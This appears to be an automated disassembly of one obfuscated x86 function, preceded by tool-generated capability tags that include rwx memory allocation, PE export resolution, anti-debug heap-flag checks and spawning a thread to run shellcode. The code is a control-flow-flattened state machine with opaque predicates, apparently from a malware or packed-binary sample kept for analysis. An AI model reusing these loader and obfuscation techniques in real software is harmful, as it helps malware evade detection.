Function at 0x47fc10
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check os version
Create thread
Encode data using base64
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x1c6c8
call fcn.005f8420
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1b7b8], eax
mov eax, dword [0x62a080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1b7b0], 0xcf953741
mov eax, dword [ebp - 0x1b7b0]
mov dword [ebp - 0x1b7bc], eax
sub eax, 0x81c9f3aa
je 0x49cbd8
jmp 0x47fc59
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x8386f9fd
je 0x48a522
jmp 0x47fc6f
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x843e8f7b
je 0x4ac2f2
jmp 0x47fc85
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x8463b648
je 0x497967
jmp 0x47fc9b
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x8484715f
je 0x4a3fd1
jmp 0x47fcb1
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x855cbeab
je 0x4aa580
jmp 0x47fcc7
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x857e1a45
je 0x48e54f
jmp 0x47fcdd
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x85e17cab
je 0x4b2fe4
jmp 0x47fcf3
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x8817b301
je 0x483df1
jmp 0x47fd09
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x899a114d
je 0x49d6c5
jmp 0x47fd1f
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x8b17ed9e
je 0x48aa91
jmp 0x47fd35
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x8b46138d
je 0x4b2629
jmp 0x47fd4b
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x8bcc6fce
je 0x49dc9a
jmp 0x47fd61
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x8c49fddd
je 0x4acd2b
jmp 0x47fd77
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x8c9aec32
je 0x485717
jmp 0x47fd8d
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x8fd8ebba
je 0x4b0d2b
jmp 0x47fda3
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x9299a930
je 0x49f009
jmp 0x47fdb9
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x947edc9c
je 0x4a4946
jmp 0x47fdcf
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x9489e374
je 0x4afe82
jmp 0x47fde5
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x94d81f21
je 0x4a3fe0
jmp 0x47fdfb
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x9538d2ac
je 0x48a513
jmp 0x47fe11
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x9779b004
je 0x49f037
jmp 0x47fe27
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x996aebcd
je 0x4a867b
jmp 0x47fe3d
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x9c16f977
je 0x4881ff
jmp 0x47fe53
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x9c944616
je 0x4b2ec4
jmp 0x47fe69
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x9c949408
je 0x490958
jmp 0x47fe7f
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0x9daad74c
je 0x4b2659
jmp 0x47fe95
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa08d5dbe
je 0x493f45
jmp 0x47feab
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa1564f81
je 0x4ac301
jmp 0x47fec1
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa200ede3
je 0x49679d
jmp 0x47fed7
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa3163eb6
je 0x491724
jmp 0x47feed
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa39e6d33
je 0x48d147
jmp 0x47ff03
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa4770e69
je 0x493f19
jmp 0x47ff19
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa493067f
je 0x4b2fc5
jmp 0x47ff2f
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa576487b
je 0x49dc07
jmp 0x47ff45
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa615a593
je 0x4b269b
jmp 0x47ff5b
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa682c4e2
je 0x4b2a88
jmp 0x47ff71
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa794b7c0
je 0x49c6e4
jmp 0x47ff87
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa7dae51c
je 0x48d32c
jmp 0x47ff9d
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa868fc53
je 0x4a83fa
jmp 0x47ffb3
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa92790b9
je 0x48a7f8
jmp 0x47ffc9
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xa95decff
je 0x4b2cf2
jmp 0x47ffdf
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xaa965d4c
je 0x4866db
jmp 0x47fff5
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xaabeeb06
je 0x4b26e2
jmp 0x48000b
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xab00e08c
je 0x495925
jmp 0x480021
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xad5985d8
je 0x4818fa
jmp 0x480037
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xadcfad32
je 0x49a9ce
jmp 0x48004d
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xae1a4688
je 0x4b2f2a
jmp 0x480063
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xae91ad54
je 0x4b2efa
jmp 0x480079
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xaeae86f5
je 0x492ee3
jmp 0x48008f
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xaed25f7c
je 0x4844ec
jmp 0x4800a5
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xb23cc08b
je 0x49eca8
jmp 0x4800bb
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xb349ccb0
je 0x4a1674
jmp 0x4800d1
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xb5cc2621
je 0x4ad901
jmp 0x4800e7
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xb81d5431
je 0x499bf0
jmp 0x4800fd
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xb8799639
je 0x4aacf1
jmp 0x480113
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xb8c92755
je 0x49dc16
jmp 0x480129
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xb8d42c13
je 0x4b0d3a
jmp 0x48013f
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xb9c76348
je 0x4907e5
jmp 0x480155
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xbaf9bfcd
je 0x4a4d46
jmp 0x48016b
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xbc55c6b5
je 0x484736
jmp 0x480181
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xbc9cf5ce
je 0x489205
jmp 0x480197
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xbd52a22b
je 0x49b5f3
jmp 0x4801ad
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xbed61384
je 0x4b2f93
jmp 0x4801c3
mov eax, dword [ebp - 0x1b7bc]
sub eax, 0xbf388131
je 0x48ae8d
mov eax, dword [0x62b5d4]
mov ecx, dword [0x62b5d0]
xor esi, esi
sub esi, 0xacb8c75b
sub esi, 0x7ec3c5d3
add esi, 0xacb8c75b
mov edx, eax
sub edx, 0xa524c3ee
add edx, esi
add edx, 0xa524c3ee
xor esi, esi
sub esi, 0xb5428c6a
sub edx, esi
sub edx, 0x67c669ec
sub edx, 1
add edx, 0x67c669ec
add edx, 0xf6419f86
sub edx, 0xb5428c6a
sub edx, 0xf6419f86
xor esi, esi
sub esi, 0x2d1f2e90
sub esi, edx
add esi, 0x2d1f2e90
xor edx, edx
sub edx, 0x7ec3c5d3
add edx, 0
sub esi, 0xe42f88b6
add esi, edx
add esi, 0xe42f88b6
xor edx, edx
sub edx, esi
add edx, 0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x1b7db], al
cmp ecx, 0xa
setl dl
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or bh, cl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
mov ch, al
and ch, 0
and bh, cl
mov dh, ah
and dh, 0
and bl, cl
or ch, bh
or dh, bl
xor ch, dh
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov cl, dl
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
mov dh, dl
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, dh
or al, ah
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, bh
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
xor al, 0xff
mov dh, 1
xor dh, 1
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov ah, 1
xor ah, 1
xor bh, 0xff
mov dh, 1
xor dh, 0
or ah, bh
or dh, 0
xor ah, 0xff
and ah, dh
mov dh, cl
and dh, bl
xor cl, bl
or dh, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
and dh, bl
mov al, cl
xor al, 0xff
and al, 0
and cl, bl
or ah, dh
or al, cl
xor ah, al
mov bl, 1
xor bl, 1
and bl, 0
mov cl, 1
xor cl, 0
mov dh, cl
and dh, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, dh
or al, cl
xor bl, al
xor bl, 0xff
xor bl, 0
and bl, 0
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
mov dh, cl
and dh, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dh
or al, cl
xor bh, al
mov byte [ebp - 0x1b7e1], bh
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov dh, 1
xor dh, 0
mov al, dh
and al, 1
mov byte [ebp - 0x1b7e3], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x1b7e2], al
mov al, byte [ebp - 0x1b7e3]
and dh, 1
or cl, al
mov al, byte [ebp - 0x1b7e2]
or al, dh
xor cl, al
xor cl, 0xff
mov al, 1
xor al, 0
mov dh, 1
xor dh, 0
or cl, al
mov al, byte [ebp - 0x1b7e1]
or dh, 0
xor cl, 0xff
and cl, dh
mov byte [ebp - 0x1b7e0], cl
mov cl, 1
xor cl, 1
xor al, 0xff
mov dh, 1
xor dh, 0
or cl, al
mov al, byte [ebp - 0x1b7e0]
or dh, 0
xor cl, 0xff
and cl, dh
mov dh, bl
and dh, bh
xor bl, bh
or dh, bl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x1b7dc], bl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x1b7dd], bh
mov bh, 1
xor bh, 0
and bl, 0
and al, bh
mov byte [ebp - 0x1b7df], al
mov al, byte [ebp - 0x1b7dd]
and al, 0
mov byte [ebp - 0x1b7de], al
mov al, byte [ebp - 0x1b7df]
and cl, bh
or bl, al
mov al, byte [ebp - 0x1b7de]
or al, cl
mov cl, byte [ebp - 0x1b7dd]
xor bl, al
mov al, byte [ebp - 0x1b7dc]
or al, cl
mov cl, byte [ebp - 0x1b7db]
xor al, 0xff
or bh, 0
and al, bh
or bl, al
mov bh, dh
xor bh, 0xff
mov al, bl
and al, bh
xor bl, 0xff
and dh, bl
or al, dh
mov byte [ebp - 0x1b7c0], al
mov bl, ch
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
mov al, ch
and al, dh
or bl, al
mov bh, 1
xor bh, 1
and bh, 0
mov dh, 1
xor dh, 0
mov al, dh
and al, 1
mov byte [ebp - 0x1b7da], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x1b7d9], al
mov al, byte [ebp - 0x1b7da]
and dh, 1
or bh, al
mov al, byte [ebp - 0x1b7d9]
or al, dh
xor bh, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
and dh, 1
or al, dh
mov dh, bl
and dh, bh
xor bl, bh
or dh, bl
mov bh, al
and bh, 1
xor al, 1
or bh, al
mov bl, dh
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
and dh, al
mov byte [ebp - 0x1b7d8], dh
mov dh, 1
xor dh, 1
and dh, 0xff
and al, 1
mov byte [ebp - 0x1b7d7], al
mov al, byte [ebp - 0x1b7d8]
or bl, al
mov al, byte [ebp - 0x1b7d7]
or dh, al
mov al, byte [ebp - 0x1b7c0]
xor bl, dh
xor bh, 0xff
mov dh, bl
xor dh, bh
and dh, bl
mov byte [ebp - 0x1b7ce], dh
mov bl, al
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and al, dh
or bl, al
mov dh, cl
xor dh, 0xff
mov al, bl
and al, dh
xor bl, 0xff
mov dh, cl
and dh, bl
or al, dh
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov bl, 1
xor bl, 1
and bl, 0
mov cl, 1
xor cl, 0
mov dh, cl
and dh, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, dh
or al, cl
xor bl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x1b7d6], al
mov cl, ah
and cl, al
mov al, bl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x1b7d5], al
mov al, byte [ebp - 0x1b7d6]
and bl, al
mov al, byte [ebp - 0x1b7d5]
or dh, cl
mov cl, byte [ebp - 0x1b7c0]
or al, bl
xor dh, al
xor dh, 0xff
mov bl, ah
xor bl, 0xff
mov al, 1
xor al, 0
or dh, bl
or al, 0
xor dh, 0xff
and dh, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x1b7d4], al
mov bl, 1
xor bl, 1
and cl, bl
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x1b7d3], al
mov al, byte [ebp - 0x1b7d4]
and bl, 1
or al, cl
mov cl, byte [ebp - 0x1b7d3]
or cl, bl
xor al, cl
mov byte [ebp - 0x1b7d2], al
mov bl, dl
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov al, dl
and al, cl
mov byte [ebp - 0x1b7d0], al
mov al, byte [ebp - 0x1b7d2]
xor al, 0xff
and al, 0
mov byte [ebp - 0x1b7d1], al
mov al, byte [ebp - 0x1b7d2]
and al, cl
mov cl, byte [ebp - 0x1b7d1]
mov byte [ebp - 0x1b7cf], al
mov al, byte [ebp - 0x1b7d0]
or bl, al
mov al, byte [ebp - 0x1b7cf]
or cl, al
mov al, byte [ebp - 0x1b7ce]
xor bl, cl
xor bl, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bl, dl
or cl, 1
xor bl, 0xff
and bl, cl
mov dl, bh
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
mov byte [ebp - 0x1b7cd], cl
mov dl, al
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1b7cc], cl
and al, cl
mov cl, byte [ebp - 0x1b7cd]
mov byte [ebp - 0x1b7cb], al
mov al, bh
xor al, 0xff
and al, 0
mov byte [ebp - 0x1b7ca], al
mov al, byte [ebp - 0x1b7cc]
and bh, al
mov al, byte [ebp - 0x1b7cb]
or dl, al
mov al, byte [ebp - 0x1b7ca]
or al, bh
xor dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, bl
xor dl, 0xff
mov cl, dh
xor cl, dl
and cl, dh
mov bh, dh
xor bh, 0xff
mov dl, bl
and dl, bh
xor bl, 0xff
and dh, bl
or dl, dh
mov bh, cl
and bh, dl
xor cl, dl
or bh, cl
mov dl, al
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov bl, al
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or dl, bl
or cl, dh
xor dl, cl
xor dl, 0xff
mov cl, bh
xor cl, dl
and cl, bh
mov dl, bh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or dl, bh
or dh, bl
xor dl, dh
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1b7c9], al
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 1
and al, 0xff
and cl, dl
mov bl, dh
and bl, 0xff
and bh, dl
or al, cl
mov cl, byte [ebp - 0x1b7c9]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x1b7c1], al
mov bh, ch
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov dl, ch
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dl
or al, cl
xor bh, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dh, al
mov byte [ebp - 0x1b7c4], dh
mov dl, 1
xor dl, 0
and dl, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, bl
or al, cl
xor dl, al
mov al, bh
xor al, 0xff
mov bl, 1
xor bl, 0
mov cl, 1
xor cl, 0
or al, bl
or cl, 0
xor al, 0xff
and al, cl
mov bl, dl
xor bl, 0xff
mov cl, ch
xor cl, bl
and cl, ch
mov bl, 1
xor bl, 0
mov ch, dh
xor ch, bl
and ch, dh
mov byte [ebp - 0x1b7c6], ch
xor ah, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
or ah, dh
or ch, 1
xor ah, 0xff
and ah, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x1b7c5], dh
mov bl, 1
xor bl, 1
mov dh, ch
and dh, 0xff
and al, bl
mov byte [ebp - 0x1b7c8], al
mov al, byte [ebp - 0x1b7c5]
and al, 0xff
mov byte [ebp - 0x1b7c7], al
mov al, byte [ebp - 0x1b7c8]
and cl, bl
or dh, al
mov al, byte [ebp - 0x1b7c7]
or al, cl
mov cl, byte [ebp - 0x1b7c6]
xor dh, al
mov al, byte [ebp - 0x1b7c5]
or ch, al
mov al, byte [ebp - 0x1b7c4]
xor ch, 0xff
or bl, 1
and ch, bl
or dh, ch
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
mov ah, bh
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov bl, ah
and bl, 0xff
and bh, ch
mov byte [ebp - 0x1b7c3], bh
mov bh, dh
and bh, 0xff
and al, ch
mov byte [ebp - 0x1b7c2], al
mov al, byte [ebp - 0x1b7c3]
or bl, al
mov al, byte [ebp - 0x1b7c2]
or bh, al
mov al, byte [ebp - 0x1b7c1]
xor bl, bh
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or bl, ah
mov ah, bl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
mov ch, dl
and ch, 0
xor dl, 0
or ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov bh, cl
and bh, dl
xor cl, dl
or bh, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov ch, bh
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov ah, cl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
and cl, ch
mov bl, dh
and bl, 0
and bh, ch
or dl, cl
mov cl, byte [ebp - 0x1b7c0]
or bl, bh
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov dh, 1
xor dh, 1
mov ch, cl
and ch, dh
xor cl, 0xff
and cl, 1
or ch, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ch, cl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and cl, ah
or ch, cl
mov cl, dl
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
mov dh, dl
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
xor dl, 0xff
mov ch, cl
xor ch, dl
and ch, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, dh
or cl, ah
xor dl, cl
mov byte [ebp - 0x1b7bf], dl
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov cl, ch
and cl, ah
or dh, cl
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bh, bl
or cl, ah
xor bh, cl
xor dl, 0xff
mov ah, 1
xor ah, 0
mov cl, 1
xor cl, 1
or dl, ah
or cl, 1
xor dl, 0xff
and dl, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
xor ch, 0xff
mov al, bh
xor al, 0xff
mov cl, 1
xor cl, 1
or ch, al
mov al, byte [ebp - 0x1b7bf]
or cl, 1
xor ch, 0xff
and ch, cl
mov cl, dl
and cl, bl
xor dl, bl
or cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and cl, dl
or bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x1b7be], cl
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
and cl, 0
and al, dl
mov ch, ah
and ch, 0
and dh, dl
or cl, al
mov al, byte [ebp - 0x1b7be]
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x1b7bd], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 0
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x1b7bd]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x259373a4
mov ecx, 0xd00ab0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0xf4490d5
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0xe936520d
jmp 0x4b3015
lea eax, [ebp - 0x1b620]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.005f9690
add esp, 0xc
mov eax, dword [ebp - 0x1b79c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.005f9690
add esp, 0xc
mov eax, dword [ebp - 0x1b79c]
mov dword [eax], 0x44
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
mov edx, ecx
sub edx, 0xfca849b9
sub edx, 0x28bd34d
add edx, 0xfca849b9
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xbdda0d0
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x28bd34d
add esi, edx
xor edx, edx
sub edx, esi
xor edi, edi
sub edi, 1
add edi, 0
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov edi, 0x4f71cbce
add edi, 0
sub edi, 0xbdda0d0
sub edi, 0x4f71cbce
xor esi, esi
sub esi, edi
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
mov byte [ebp - 0x1b89b], dh
cmp eax, 0xa
setl ah
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bl, ch
or al, dl
xor bl, al
xor dh, 0xff
mov dl, bl
xor dl, 0xff
mov al, 1
xor al, 0
or dh, dl
or al, 0
xor dh, 0xff
and dh, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
xor dl, 0xff
mov ch, 1
xor ch, 1
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov ch, 1
xor ch, 1
xor bl, 0xff
mov al, 1
xor al, 1
or ch, bl
or al, 1
xor ch, 0xff
and ch, al
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dl, bl
or cl, ch
xor dl, cl
xor dl, 0xff
mov cl, ah
xor cl, dl
and cl, ah
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov dl, 1
xor dl, 1
and dl, 0
mov cl, 1
xor cl, 0
mov ch, cl
and ch, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
mov bh, ch
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or al, bh
or dl, ch
xor al, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x1b8a4], bh
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 1
and bh, 0xff
mov byte [ebp - 0x1b8a5], bh
and cl, dl
mov bh, ch
and bh, 0xff
and al, dl
mov byte [ebp - 0x1b8a3], al
mov al, byte [ebp - 0x1b8a5]
or al, cl
mov cl, byte [ebp - 0x1b8a4]
mov byte [ebp - 0x1b8a2], al
mov al, byte [ebp - 0x1b8a3]
or bh, al
mov al, byte [ebp - 0x1b8a2]
xor al, bh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x1b858], al
mov dl, dh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or dl, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov cl, 1
xor cl, 0
